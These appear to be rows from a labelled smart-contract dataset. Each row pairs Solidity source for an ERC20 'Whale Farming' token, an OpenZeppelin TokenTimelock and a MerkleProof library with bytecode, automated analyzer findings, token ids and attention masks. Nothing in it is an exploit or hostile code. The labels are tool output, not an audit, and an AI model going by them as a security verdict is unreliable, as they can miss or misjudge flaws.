}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
/**
* @dev Mint the specified amount of token to the specified address and freeze it until the specified date.
* Be careful, gas usage is not deterministic,
* and depends on how many freezes _to address already has.
* @param _to Address to which token will be freeze.
* @param _amount Amount of token to mint and freeze.
* @param _until Release date, must be in future.
* @return A boolean that indicates if the operation was successful.
*/
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "Whale Farming";
string public constant TOKEN_SYMBOL = "WLF";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x90d470667536CfDF5E71e035D7e44D270E1d0dDf;
bool public constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0x7d127a9acb499f0952bd8e152e2bdc950db5af66)];
uint[1] memory amounts = [uint(10000000000000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 0x6080604052600436106101d65763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416623fd35a81146101db57806302d6f7301461020457806305d2035b1461024c57806306fdde0314610261578063095ea7b3146102eb5780630bb2cd6b1461030f578063158ef93e1461034057806317a950ac1461035557806318160ddd14610388578063188214001461039d57806323b872dd146103b25780632a905318146103dc578063313ce567146103f15780633be1e9521461041c5780633f4ba83a1461044f57806340c10f191461046457806342966c681461048857806356780085146104a05780635b7f415c146104b55780635be7fde8146104ca5780635c975abb146104df57806366188463146104f457806366a92cda1461051857806370a082311461052d578063715018a61461054e578063726a431a146105635780637d64bcb4146105945780638456cb59146105a95780638da5cb5b146105be57806395d89b41146105d3578063a9059cbb146105e8578063a9aad58c146101db578063ca63b5b81461060c578063cf3b19671461062d578063d73dd62314610642578063d8aeedf514610666578063dd62ed3e14610687578063f2fde38b146106ae575b600080fd5b3480156101e757600080fd5b506101f06106cf565b604080519115158252519081900360200190f35b34801561021057600080fd5b50610228600160a060020a03600435166024356106d4565b6040805167ffffffffffffffff909316835260208301919091528051918290030190f35b34801561025857600080fd5b506101f0610761565b34801561026d57600080fd5b50610276610771565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102b0578181015183820152602001610298565b50505050905090810190601f1680156102dd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102f757600080fd5b506101f0600160a060020a03600435166024356107a8565b34801561031b57600080fd5b506101f0600160a060020a036004351660243567ffffffffffffffff6044351661080e565b34801561034c57600080fd5b506101f06109ac565b34801561036157600080fd5b50610376600160a060020a03600435166109cf565b60408051918252519081900360200190f35b34801561039457600080fd5b506103766109e0565b3480156103a957600080fd5b506102766109e6565b3480156103be57600080fd5b506101f0600160a060020a0360043581169060243516604435610a1d565b3480156103e857600080fd5b50610276610a4a565b3480156103fd57600080fd5b50610406610a81565b6040805160ff9092168252519081900360200190f35b34801561042857600080fd5b5061044d600160a060020a036004351660243567ffffffffffffffff60443516610a86565b005b34801561045b57600080fd5b5061044d610bfa565b34801561047057600080fd5b506101f0600160a060020a0360043516602435610c73565b34801561049457600080fd5b5061044d600435610d6b565b3480156104ac57600080fd5b50610376610d78565b3480156104c157600080fd5b50610376610d84565b3480156104d657600080fd5b50610376610d89565b3480156104eb57600080fd5b506101f0610dee565b34801561050057600080fd5b506101f0600160a060020a0360043516602435610dfe565b34801561052457600080fd5b5061044d610eee565b34801561053957600080fd5b50610376600160a060020a0360043516611091565b34801561055a57600080fd5b5061044d6110ba565b34801561056f57600080fd5b50610578611128565b60408051600160a060020a039092168252519081900360200190f35b3480156105a057600080fd5b506101f0611140565b3480156105b557600080fd5b5061044d6111c4565b3480156105ca57600080fd5b50610578611242565b3480156105df57600080fd5b50610276611251565b3480156105f457600080fd5b506101f0600160a060020a0360043516602435611288565b34801561061857600080fd5b50610376600160a060020a03600435166112b3565b34801561063957600080fd5b50610406610d84565b34801561064e57600080fd5b506101f0600160a060020a0360043516602435611339565b34801561067257600080fd5b50610376600160a060020a03600435166113d2565b34801561069357600080fd5b50610376600160a060020a03600435811690602435166113ed565b3480156106ba57600080fd5b5061044d600160a060020a0360043516611418565b600081565b600080805b8360010181101561072d57600360006106fc878667ffffffffffffffff16611438565b815260208101919091526040016000205467ffffffffffffffff16925082151561072557610759565b6001016106d9565b60046000610745878667ffffffffffffffff16611438565b815260208101919091526040016000205491505b509250929050565b60065460a060020a900460ff1681565b60408051808201909152600d81527f5768616c65204661726d696e6700000000000000000000000000000000000000602082015290565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6006546000908190600160a060020a0316331461082a57600080fd5b60065460a060020a900460ff161561084157600080fd5b600154610854908563ffffffff61146c16565b60015561086b8567ffffffffffffffff8516611438565b60008181526004602052604090205490915061088d908563ffffffff61146c16565b600082815260046020908152604080832093909355600160a060020a03881682526005905220546108c4908563ffffffff61146c16565b600160a060020a0386166000908152600560205260409020556108e78584611479565b604080518581529051600160a060020a038716917f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885919081900360200190a26040805167ffffffffffffffff85168152602081018690528151600160a060020a038816927f2ecd071e4d10ed2221b04636ed0724cce66a873aa98c1a31b4bb0e6846d3aab4928290030190a2604080518581529051600160a060020a0387169133916000805160206119e28339815191529181900360200190a3506001949350505050565b600654760100000000000000000000000000000000000000000000900460ff1681565b60006109da82611613565b92915050565b60015490565b60408051808201909152600d81527f5768616c65204661726d696e6700000000000000000000000000000000000000602082015281565b60065460009060a860020a900460ff1615610a3757600080fd5b610a4284848461162e565b949350505050565b60408051808201909152600381527f574c460000000000000000000000000000000000000000000000000000000000602082015281565b601290565b6000600160a060020a0384161515610a9d57600080fd5b33600090815260208190526040902054831115610ab957600080fd5b33600090815260208190526040902054610ad9908463ffffffff61179316565b33600090815260208190526040902055610afd8467ffffffffffffffff8416611438565b600081815260046020526040902054909150610b1f908463ffffffff61146c16565b600082815260046020908152604080832093909355600160a060020a0387168252600590522054610b56908463ffffffff61146c16565b600160a060020a038516600090815260056020526040902055610b798483611479565b604080518481529051600160a060020a0386169133916000805160206119e28339815191529181900360200190a36040805167ffffffffffffffff84168152602081018590528151600160a060020a038716927f2ecd071e4d10ed2221b04636ed0724cce66a873aa98c1a31b4bb0e6846d3aab4928290030190a250505050565b600654600160a060020a03163314610c1157600080fd5b60065460a860020a900460ff161515610c2957600080fd5b6006805475ff000000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b600654600090600160a060020a03163314610c8d57600080fd5b60065460a060020a900460ff1615610ca457600080fd5b600154610cb7908363ffffffff61146c16565b600155600160a060020a038316600090815260208190526040902054610ce3908363ffffffff61146c16565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000916000805160206119e28339815191529181900360200190a350600192915050565b610d7533826117a5565b50565b670de0b6b3a764000081565b601281565b6000806000610d993360006106d4565b67ffffffffffffffff909116925090505b8115801590610db857508142115b15610de957610dc5610eee565b91820191610dd43360006106d4565b67ffffffffffffffff90911692509050610daa565b505090565b60065460a860020a900460ff1681565b336000908152600260209081526040808320600160a060020a038616845290915281205480831115610e5357336000908152600260209081526040808320600160a060020a0388168452909152812055610e88565b610e63818463ffffffff61179316565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6000806000806000610f01336000611438565b60008181526003602052604090205490955067ffffffffffffffff169350831515610f2b57600080fd5b8367ffffffffffffffff164267ffffffffffffffff16111515610f4d57600080fd5b610f61338567ffffffffffffffff16611438565b600081815260036020908152604080832054600483528184208054908590553385529284905292205492955067ffffffffffffffff90911693509150610fad908263ffffffff61146c16565b3360009081526020818152604080832093909355600590522054610fd7908263ffffffff61179316565b3360009081526005602052604090205567ffffffffffffffff8216151561101a576000858152600360205260409020805467ffffffffffffffff19169055611054565b600085815260036020526040808220805467ffffffffffffffff861667ffffffffffffffff19918216179091558583529120805490911690555b60408051828152905133917fb21fb52d5749b80f3182f8c6992236b5e5576681880914484d7f4c9b062e619e919081900360200190a25050505050565b600160a060020a0381166000908152600560205260408120546110b383611613565b0192915050565b600654600160a060020a031633146110d157600080fd5b600654604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26006805473ffffffffffffffffffffffffffffffffffffffff19169055565b7390d470667536cfdf5e71e035d7e44d270e1d0ddf81565b600654600090600160a060020a0316331461115a57600080fd5b60065460a060020a900460ff161561117157600080fd5b6006805474ff0000000000000000000000000000000000000000191660a060020a1790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600654600160a060020a031633146111db57600080fd5b60065460a860020a900460ff16156111f257600080fd5b6006805475ff000000000000000000000000000000000000000000191660a860020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600654600160a060020a031681565b60408051808201909152600381527f574c460000000000000000000000000000000000000000000000000000000000602082015290565b60065460009060a860020a900460ff16156112a257600080fd5b6112ac8383611894565b9392505050565b600080600360006112c5856000611438565b815260208101919091526040016000205467ffffffffffffffff1690505b67ffffffffffffffff81161561133357600190910190600360006113118567ffffffffffffffff8516611438565b815260208101919091526040016000205467ffffffffffffffff1690506112e3565b50919050565b336000908152600260209081526040808320600160a060020a038616845290915281205461136d908363ffffffff61146c16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a031660009081526005602052604090205490565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600654600160a060020a0316331461142f57600080fd5b610d7581611963565b6801000000000000000091909102177f57495348000000000000000000000000000000000000000000000000000000001790565b818101828110156109da57fe5b6000808080804267ffffffffffffffff87161161149557600080fd5b6114a9878767ffffffffffffffff16611438565b94506114b6876000611438565b60008181526003602052604090205490945067ffffffffffffffff169250821515611509576000848152600360205260409020805467ffffffffffffffff191667ffffffffffffffff881617905561160a565b61151d878467ffffffffffffffff16611438565b91505b67ffffffffffffffff83161580159061154c57508267ffffffffffffffff168667ffffffffffffffff16115b15611585575060008181526003602052604090205490925067ffffffffffffffff9081169183911661157e8784611438565b9150611520565b8267ffffffffffffffff168667ffffffffffffffff1614156115a65761160a565b67ffffffffffffffff8316156115e0576000858152600360205260409020805467ffffffffffffffff191667ffffffffffffffff85161790555b6000848152600360205260409020805467ffffffffffffffff191667ffffffffffffffff88161790555b50505050505050565b600160a060020a031660009081526020819052604090205490565b6000600160a060020a038316151561164557600080fd5b600160a060020a03841660009081526020819052604090205482111561166a57600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561169a57600080fd5b600160a060020a0384166000908152602081905260409020546116c3908363ffffffff61179316565b600160a060020a0380861660009081526020819052604080822093909355908516815220546116f8908363ffffffff61146c16565b600160a060020a0380851660009081526020818152604080832094909455918716815260028252828120338252909152205461173a908363ffffffff61179316565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391926000805160206119e2833981519152929181900390910190a35060019392505050565b60008282111561179f57fe5b50900390565b600160a060020a0382166000908152602081905260409020548111156117ca57600080fd5b600160a060020a0382166000908152602081905260409020546117f3908263ffffffff61179316565b600160a060020a03831660009081526020819052604090205560015461181f908263ffffffff61179316565b600155604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518281529051600091600160a060020a038516916000805160206119e28339815191529181900360200190a35050565b6000600160a060020a03831615156118ab57600080fd5b336000908152602081905260409020548211156118c757600080fd5b336000908152602081905260409020546118e7908363ffffffff61179316565b3360009081526020819052604080822092909255600160a060020a03851681522054611919908363ffffffff61146c16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233926000805160206119e28339815191529281900390910190a350600192915050565b600160a060020a038116151561197857600080fd5b600654604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36006805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820da4aa63fe6d38a9bc1923aded51dbadab40ba5dfb495c738a95e8d9284bf3ffa0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'constant-function-asm', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
26976,
21472,
19481,
2094,
2575,
17465,
2509,
13089,
24434,
6305,
26187,
2475,
2278,
2575,
2497,
2549,
2063,
16086,
2278,
22203,
23352,
2487,
2278,
11329,
16409,
1013,
1008,
1008,
2023,
5371,
2001,
7013,
2011,
2026,
9148,
4095,
4132,
1006,
16770,
1024,
1013,
1013,
2026,
9148,
4095,
1012,
22834,
1013,
1007,
1008,
1996,
3143,
3642,
2071,
2022,
2179,
2012,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
2026,
9148,
4095,
24759,
4017,
14192,
1013,
1008,
9385,
1006,
1039,
1007,
2760,
2026,
9148,
4095,
1008,
1008,
2023,
2565,
2003,
2489,
4007,
1024,
2017,
2064,
2417,
2923,
3089,
8569,
2618,
2009,
1998,
1013,
2030,
19933,
1008,
2009,
2104,
1996,
3408,
1997,
1996,
27004,
8276,
2236,
2270,
6105,
2004,
2405,
2011,
1008,
1996,
2489,
4007,
3192,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,590 | 0x956489b22aef57c1d7e7c85502c41629b785703b | pragma solidity ^0.5.2;
// File: contracts/token/ERC20/IERC20.sol
/**
* @title ERC20 interface
* @dev see https://eips.ethereum.org/EIPS/eip-20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: contracts/utils/Address.sol
/**
* Utility library of inline functions on addresses
*/
library Address {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
// File: contracts/token/ERC20/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0));
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must equal true).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
require(address(token).isContract());
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success);
if (returndata.length > 0) { // Return data is optional
require(abi.decode(returndata, (bool)));
}
}
}
// File: contracts/token/ERC20/TokenTimelock.sol
/**
* @title TokenTimelock
* @dev TokenTimelock is a token holder contract that will allow a
* beneficiary to extract the tokens after a given release time
*/
contract TokenTimelock {
using SafeERC20 for IERC20;
// ERC20 basic token contract being held
IERC20 private _token;
// beneficiary of tokens after they are released
address private _beneficiary;
// timestamp when token release is enabled
uint256 private _releaseTime;
constructor (IERC20 token, address beneficiary, uint256 releaseTime) public {
// solhint-disable-next-line not-rely-on-time
require(releaseTime > block.timestamp);
_token = token;
_beneficiary = beneficiary;
_releaseTime = releaseTime;
}
/**
* @return the token being held.
*/
function token() public view returns (IERC20) {
return _token;
}
/**
* @return the beneficiary of the tokens.
*/
function beneficiary() public view returns (address) {
return _beneficiary;
}
/**
* @return the time when the tokens are released.
*/
function releaseTime() public view returns (uint256) {
return _releaseTime;
}
/**
* @notice Transfers tokens held by timelock to beneficiary.
*/
function release() public {
// solhint-disable-next-line not-rely-on-time
require(block.timestamp >= _releaseTime);
uint256 amount = _token.balanceOf(address(this));
require(amount > 0);
_token.safeTransfer(_beneficiary, amount);
}
} | 0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806338af3eed1461005157806386d1a69f1461009b578063b91d4001146100a5578063fc0c546a146100c3575b600080fd5b61005961010d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100a3610137565b005b6100ad6102a1565b6040518082815260200191505060405180910390f35b6100cb6102ab565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60025442101561014657600080fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156101e657600080fd5b505afa1580156101fa573d6000803e3d6000fd5b505050506040513d602081101561021057600080fd5b810190808051906020019092919050505090506000811161023057600080fd5b61029e600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166102d49092919063ffffffff16565b50565b6000600254905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6103a0838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506103a5565b505050565b6103c48273ffffffffffffffffffffffffffffffffffffffff166104d2565b6103cd57600080fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b6020831061041c57805182526020820191506020810190506020830392506103f9565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461047e576040519150601f19603f3d011682016040523d82523d6000602084013e610483565b606091505b50915091508161049257600080fd5b6000815111156104cc578080602001905160208110156104b157600080fd5b81019080805190602001909291905050506104cb57600080fd5b5b50505050565b600080823b90506000811191505091905056fea265627a7a7231582076646c41baba4e07018af2bd6838a5ee4974fcad4667a138c7eb9f39dc6b45e164736f6c63430005110032 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
26976,
18139,
2683,
2497,
19317,
6679,
2546,
28311,
2278,
2487,
2094,
2581,
2063,
2581,
2278,
27531,
12376,
2475,
2278,
23632,
2575,
24594,
2497,
2581,
27531,
19841,
2509,
2497,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
1016,
1025,
1013,
1013,
5371,
1024,
8311,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
29464,
11890,
11387,
1012,
14017,
1013,
1008,
1008,
1008,
1030,
2516,
9413,
2278,
11387,
8278,
1008,
1030,
16475,
2156,
16770,
1024,
1013,
1013,
1041,
11514,
2015,
1012,
28855,
14820,
1012,
8917,
1013,
1041,
11514,
2015,
1013,
1041,
11514,
1011,
2322,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
3853,
4651,
1006,
4769,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,591 | 0x95648a2d1adf340ee30286f33a7d239d93a708b9 | // File: @openzeppelin/contracts/utils/cryptography/MerkleProof.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol)
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = _efficientHash(computedHash, proofElement);
} else {
// Hash(current element of the proof + current computed hash)
computedHash = _efficientHash(proofElement, computedHash);
}
}
return computedHash;
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
assembly {
mstore(0x00, a)
mstore(0x20, b)
value := keccak256(0x00, 0x40)
}
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
